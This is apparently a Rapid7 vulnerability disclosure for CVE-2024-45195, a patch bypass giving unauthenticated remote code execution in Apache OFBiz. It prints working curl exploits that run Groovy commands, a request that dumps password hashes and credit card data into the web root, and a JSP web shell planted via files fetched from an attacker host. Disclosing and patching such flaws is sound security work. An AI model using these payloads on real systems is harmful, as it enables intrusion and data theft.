Last updated at Fri, 04 Oct 2024 19:50:14 GMT
Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server. Exploitation is facilitated by bypassing previous patches for CVE-2024-32113, CVE-2024-36104, and CVE-2024-38856; this patch bypass vulnerability is tracked as CVE-2024-45195.
Product Description
Apache OFBiz is an open-source web-based enterprise resource planning and customer relationship management suite. The software has features for accounting, catalog and supply chain management, storing payment information, and more. Apache OFBiz is used by numerous large organizations, and previously disclosed vulnerabilities for it have seen exploitation in the wild.
Credit
This issue was reported to the Apache OFBiz team by Ryan Emmons, Lead Security Researcher at Rapid7, as well as by several other researchers. The vulnerability is being disclosed in accordance with Rapid7's vulnerability disclosure policy. Rapid7 is grateful to the Apache OFBiz open-source community developers for their assistance and collaboration on this issue.
Vulnerability Context
A handful of unauthenticated code execution CVEs for Apache OFBiz have been published in 2024. In August, the Cybersecurity and Infrastructure Security Agency added one of them, CVE-2024-32113, to its Known Exploited Vulnerabilities catalog. Based on our analysis, three of these vulnerabilities are, essentially, the same vulnerability with the same root cause. Since the patch bypass we are disclosing today elaborates on those previous disclosures, we’ll outline them now.
CVE-2024-32113
The first vulnerability in this sequence, CVE-2024-32113, was published on May 8, 2024, and it affected installs before v18.12.13. The OFBiz CVE entry describes this vulnerability as a path traversal vulnerability (CWE-22). When unexpected URI patterns are sent to the application, the state of the application’s current controller and view map is fragmented; controller-view map fragmentation takes place because the application uses multiple different methods of parsing the current URI: one to get the controller, one to get the view map.
As a result, an attacker can confuse the implemented logic to fetch and interact with an authenticated view map via an unauthenticated controller. When this happens, only the controller authorization checks will be performed, which the attacker can use to access admin-only view maps that do things like execute SQL queries or code.
An authenticated administrator view map called “ProgramExport” will execute Groovy scripts, and this view map can be leveraged to execute arbitrary code without authentication. An example payload for this vulnerability, which uses path traversal to fragment the controller-view map state, is shown below.
curl 'http://target:8443/webtools/control/forgotPassword/../ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is
The OFBiz Jira issue for the vulnerability has the description “Some URLs need to be rejected before they create problems”, which is how a fix was implemented. The remediation changes included code that attempted to normalize URLs before resolving the controller and the view map being fetched. That patch was released as v18.12.13.
CVE-2024-36104
The second CVE entry in this sequence, CVE-2024-36104 was published on June 4, 2024. The vulnerability was again described as a path traversal, and the OFBiz Jira issue description is “Better avoid special encoded characters sequences”. Though the patch is made up of multiple commits, the bulk of the remediation was implemented in bc856f46f8, with the following code added to remove semicolons and URL-encoded periods from the URI.
String uRIFiltered = new URI(initialURI)
.normalize().toString()
.replaceAll(";", "")
.replaceAll("(?i)%2e", "");
if (!initialURI.equals(uRIFiltered)) {
Debug.logError("For security reason this URL is not accepted", MODULE);
throw new RuntimeException("For security reason this URL is not accepted");
This CVE was patched in v18.12.14.
Two different example payloads for this vulnerability are shown below, one for each of the sequences stripped by the implemented fix. Both of these payloads also work against OFBiz installations affected by the previous CVE-2024-32113, since the vulnerability has the same root cause.
curl 'http://target:8443/webtools/control/forgotPassword/;/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is
curl 'http://target:8443/webtools/control/forgotPassword/%2e%2e/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is
CVE-2024-38856
The third vulnerability in this sequence, CVE-2024-38856, was published on August 5, 2024. This time, the vulnerability was described as an incorrect authorization issue. The CVE’s description states “Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).” This more accurately describes the issue. As we’ll see in a moment, it also indicates the approach taken for the fix this time.
SonicWall’s research team, who reported the vulnerability to the OFBiz team, published an excellent blog post that nicely explains the root cause and focuses on the controller-view map state fragmentation, rather than just the method used to trigger it. Amazingly, their blog post reports that a traversal or semicolon sequence was never needed at all! A request to a path like /webtools/control/forgotPassword/ProgramExport
would result in the controller being set to “forgotPassword” and the view map being set to “ProgramExport”.
An example payload for this vulnerability is shown below.
curl 'http://target:8443/webtools/control/forgotPassword/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k
This payload also works for systems affected by CVE-2024-32113 and CVE-2024-36104, since the root cause is the same for all three.
The OFBiz Jira issue for this vulnerability is titled “Add permission check for ProgramExport and EntitySQLProcessor”. That’s exactly what the fix does; the fix adds a permission check for ProgramExport
and EntitySQLProcessor
, two view maps targeted by previous exploits. The three lines below were added to both Groovy files associated with those view maps, effectively preventing access to them without authentication.
if (!security.hasPermission('ENTITY_MAINT', userLogin)) {
return
}
As a result, both exploit techniques were no longer viable. However, the underlying problem, the ability to fragment the controller-view map state, was not resolved by the v18.12.15 patch.
Exploitation
To recap, all three of the previous vulnerabilities were caused by the same shared underlying issue, the ability to desynchronize the controller and view map state. That flaw was not fully addressed by any of the patches. At the time of our research, the requestUri
and overrideViewUri
variables could still be desynchronized in the manner described in the SonicWall blog post, albeit not to reach ProgramExport
or EntitySQLProcessor
. Our testing target was v18.12.15, the latest version available at the time of research.
The framework/webtools/widget/EntityScreens.xml
file defines some EntityScreens that might be leveraged by an attacker.
$ grep 'script' framework/webtools/widget/EntityScreens.xml
[..SNIP..]
We can’t useProgramExport
or EntitySQLProcessor
this time, since authorization checks are now enforced. However, an attacker can leverage another view to exploit the application without authentication. A screenshot of the XML Data Export admin dashboard feature for one possible Groovy view screen option, XmlDsDump
, is below.
As shown above, the XmlDsDump
view can be used to query the database for virtually any stored data and write the resulting data to an arbitrarily named file anywhere on disk. Notably, the affiliated Groovy script XmlDsDump.groovy
does not enforce authorization checks.
As a proof of concept, we’ll try to desynchronize the controller-view map state to access the “dump” view without authentication. The following cURL request will attempt to dump all usernames, passwords, and credit card numbers stored by Apache OFBiz into a web-accessible directory.
curl 'http://target:8443/webtools/control/forgotPassword/xmldsdump' -d "outpath=./themes/common-theme/webapp/common-theme/&maxrecords=&filename=stolen.txt&entityFrom_i18n=&entityFrom=&entityThru_i18n=&entityThru=&entitySyncId=&preConfiguredSetName=&entityName=UserLogin&entityName=CreditCard" -k
Watching the request in a debugger confirms that the requestUri
and overrideViewUri
value confusion is still possible in RequestHandler.java
. This is depicted in the screenshot below, where our cURL request has resulted in requestUri
being set to the unauthenticated endpoint and overrideViewUri
being set to the authenticated view.
After the request completes, a second unauthenticated cURL request confirms that the operation completed successfully.
$ curl 'http://target:8443/common/stolen.txt' -k
[..SNIP..]
The password hashes and credit card numbers have been written to an accessible file in the web root, demonstrating exploitation via patch bypass. It’s likely that cracking a user password hash would succeed in a real-world attack, since the password hashing algorithm is a weak one. However, to avoid having to crack any hashes, we also leveraged the vulnerability to achieve remote code execution.
Within controller.xml
, a view map called viewdatafile
is defined at [0]
.
[..SNIP..]
[0]
[..SNIP..]
Within framework/webtools/widget/MiscScreens.xml
, viewdatafile
is associated with the script ViewDataFile.groovy
(at [1]
).
[..SNIP..]
[1]
[..SNIP..]
That script is below. It checks for various request parameters (starting at [2]
) to perform file operations. At [3]
, if DATAFILE_SAVE
is present and a datafile was parsed, the datafile contents will be written to the disk location specified by DATAFILE_SAVE
.
package org.apache.ofbiz.webtools.datafile
import org.apache.ofbiz.base.util.Debug
import org.apache.ofbiz.base.util.UtilProperties
import org.apache.ofbiz.base.util.UtilURL
import org.apache.ofbiz.datafile.DataFile
import org.apache.ofbiz.datafile.DataFile2EntityXml
import org.apache.ofbiz.datafile.ModelDataFileReader
uiLabelMap = UtilProperties.getResourceBundleMap('WebtoolsUiLabels', locale)
messages = []
dataFileSave = request.getParameter('DATAFILE_SAVE') [2]
entityXmlFileSave = request.getParameter('ENTITYXML_FILE_SAVE')
dataFileLoc = request.getParameter('DATAFILE_LOCATION')
definitionLoc = request.getParameter('DEFINITION_LOCATION')
definitionName = request.getParameter('DEFINITION_NAME')
dataFileIsUrl = null != request.getParameter('DATAFILE_IS_URL')
definitionIsUrl = null != request.getParameter('DEFINITION_IS_URL')
try {
dataFileUrl = dataFileIsUrl ? UtilURL.fromUrlString(dataFileLoc) : UtilURL.fromFilename(dataFileLoc)
}
catch (java.net.MalformedURLException e) {
messages.add(e.getMessage())
}
try {
definitionUrl = definitionIsUrl ? UtilURL.fromUrlString(definitionLoc) : UtilURL.fromFilename(definitionLoc)
}
catch (java.net.MalformedURLException e) {
messages.add(e.getMessage())
}
definitionNames = null
if (definitionUrl) {
try {
ModelDataFileReader reader = ModelDataFileReader.getModelDataFileReader(definitionUrl)
if (reader) {
definitionNames = ((Collection)reader.getDataFileNames()).iterator()
context.put('definitionNames', definitionNames)
}
}
catch (Exception e) {
messages.add(e.getMessage())
}
}
dataFile = null
if (dataFileUrl && definitionUrl && definitionNames) {
try {
dataFile = DataFile.readFile(dataFileUrl, definitionUrl, definitionName)
context.put('dataFile', dataFile)
}
catch (Exception e) {
messages.add(e.toString()); Debug.log(e)
}
}
if (dataFile) {
modelDataFile = dataFile.getModelDataFile()
context.put('modelDataFile', modelDataFile)
}
if (dataFile && dataFileSave) { [3]
try {
dataFile.writeDataFile(dataFileSave)
messages.add(uiLabelMap.WebtoolsDataFileSavedTo + dataFileSave)
}
catch (Exception e) {
messages.add(e.getMessage())
}
}
if (dataFile && entityXmlFileSave) {
try {
//dataFile.writeDataFile(entityXmlFileSave)
DataFile2EntityXml.writeToEntityXml(entityXmlFileSave, dataFile)
messages.add(uiLabelMap.WebtoolsDataEntityFileSavedTo + entityXmlFileSave)
}
catch (Exception e) {
messages.add(e.getMessage())
}
}
context.messages = messages
Apache OFBiz also ships with some example data files in datafiles.adoc
. An excerpt of that text is included below.
[..SNIP..]
== Examples
=== Sample fixed width CSV file posreport.csv to be imported:
.An example of fixed width flat file import.
[source,csv]
021196033702 ,5031BB GLITTER GLUE PENS BRIGH ,1 ,5031BB , 1, 299,
021196043121 ,BB4312 WONDERFOAM ASSORTED ,1 ,BB4312 , 1, 280,
021196055025 ,9905BB PLUMAGE MULTICOLOURED ,1 ,9905BB , 4, 396,
=== Sample xml definition file for importing select columns
.Sample xml definition file for importing select columns posschema.xml:
[source,xml]
.Another example reading fixed record little endian binary files
[source, xml]
=== Procedure:
In the interface enter something like:
. Definition Filename or URL: posschema.xml
. Data File Definition Name: posreport
. Data Filename or URL: posreport.csv
This information is very helpful for contextualizing what we learned from the Groovy script. We’ll need to provide an XML definition file location, a data file XML definition name, a CSV data file location, and a file path to save the extracted data from the CSV. We’ll also need to specify that both our definition file location and CSV location are remote URLs, which we can do via the DEFINITION_IS_URL
and DATAFILE_IS_URL
parameters.
Below is our malicious definition file, rceschema.xml
. We define a “jsp” String field within a record in the datafile. In the XML, this represents our JSP web shell that will be written to the web root.
$ cat rceschema.xml
Next, we’ll need a CSV containing a single line with a single value, our JSP web shell. This value is 605 characters long, as indicated in our XML definition. Since we’re injecting our payload into a CSV context, we’ll build a string in the JSP to avoid any commas, and we’ll delimit the payload with a comma.
$ cat rcereport.csv
<%@ page import='java.io.*' %><%@ page import='java.util.*' %>Ahoy!
<% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "
"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,
Lastly, we’ll start a Python web server listening on port 80 of our attack machine, then perform a cURL request to exploit the vulnerability.
POST /webtools/control/forgotPassword/viewdatafile HTTP/2
Host: target:8443
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 241
Content-Type: application/x-www-form-urlencoded
DATAFILE_LOCATION=http://attacker:80/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://attacker:80/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce
After the server fetches and processes our two files, browsing the targeted accounting/index.jsp
path confirms that we’ve established unauthenticated remote code execution.
Remediation
We’d like to thank the Apache OFBiz team, who quickly responded to our disclosure and patched the vulnerability in v18.12.16. In this patch, authorization checks were implemented for the view. This change validates that a view should permit anonymous access if a user is unauthenticated, rather than performing authorization checks purely based on the target controller. OFBiz users should update to the fixed version as soon as possible.
Rapid7 Customers
InsightVM and Nexpose customers can assess their exposure to CVE-2024-32113, CVE-2024-36104, CVE-2024-38856, and CVE-2024-45195 with vulnerability checks available in the September 5 content release.
Disclosure Timeline
- August 16, 2024: Rapid7 contacts the Apache OFBiz security team via email.
- August 17, 2024: Apache OFBiz community developer acknowledges report.
- August 20, 2024: Apache OFBiz community developer indicates that the team has a solution.
- August 22, 2024: CVE-2024-45195 reserved by Apache community dev team.
- August 24, 2024: Patch sent to Rapid7 for testing.
- August 28, 2024: Rapid7 confirms the patch is sufficient to prevent this vector of exploitation.
- August 29, 2024: Apache OFBiz developer indicates patch ETA is early September 2024.
- September 4, 2024: Apache OFBiz advisory published for CVE-2024-45195 (and other vulnerabilities).
- September 5, 2024: This disclosure.
NEVER MISS AN EMERGING THREAT
Be the first to learn about the latest vulnerabilities and cybersecurity news.
Subscribe NowLearn More about Rapid7's Surface Command ▶︎
Surface Command provides a continuous 360° view of your attack surface that teams can trust to detect and prioritize security issues from endpoint to cloud.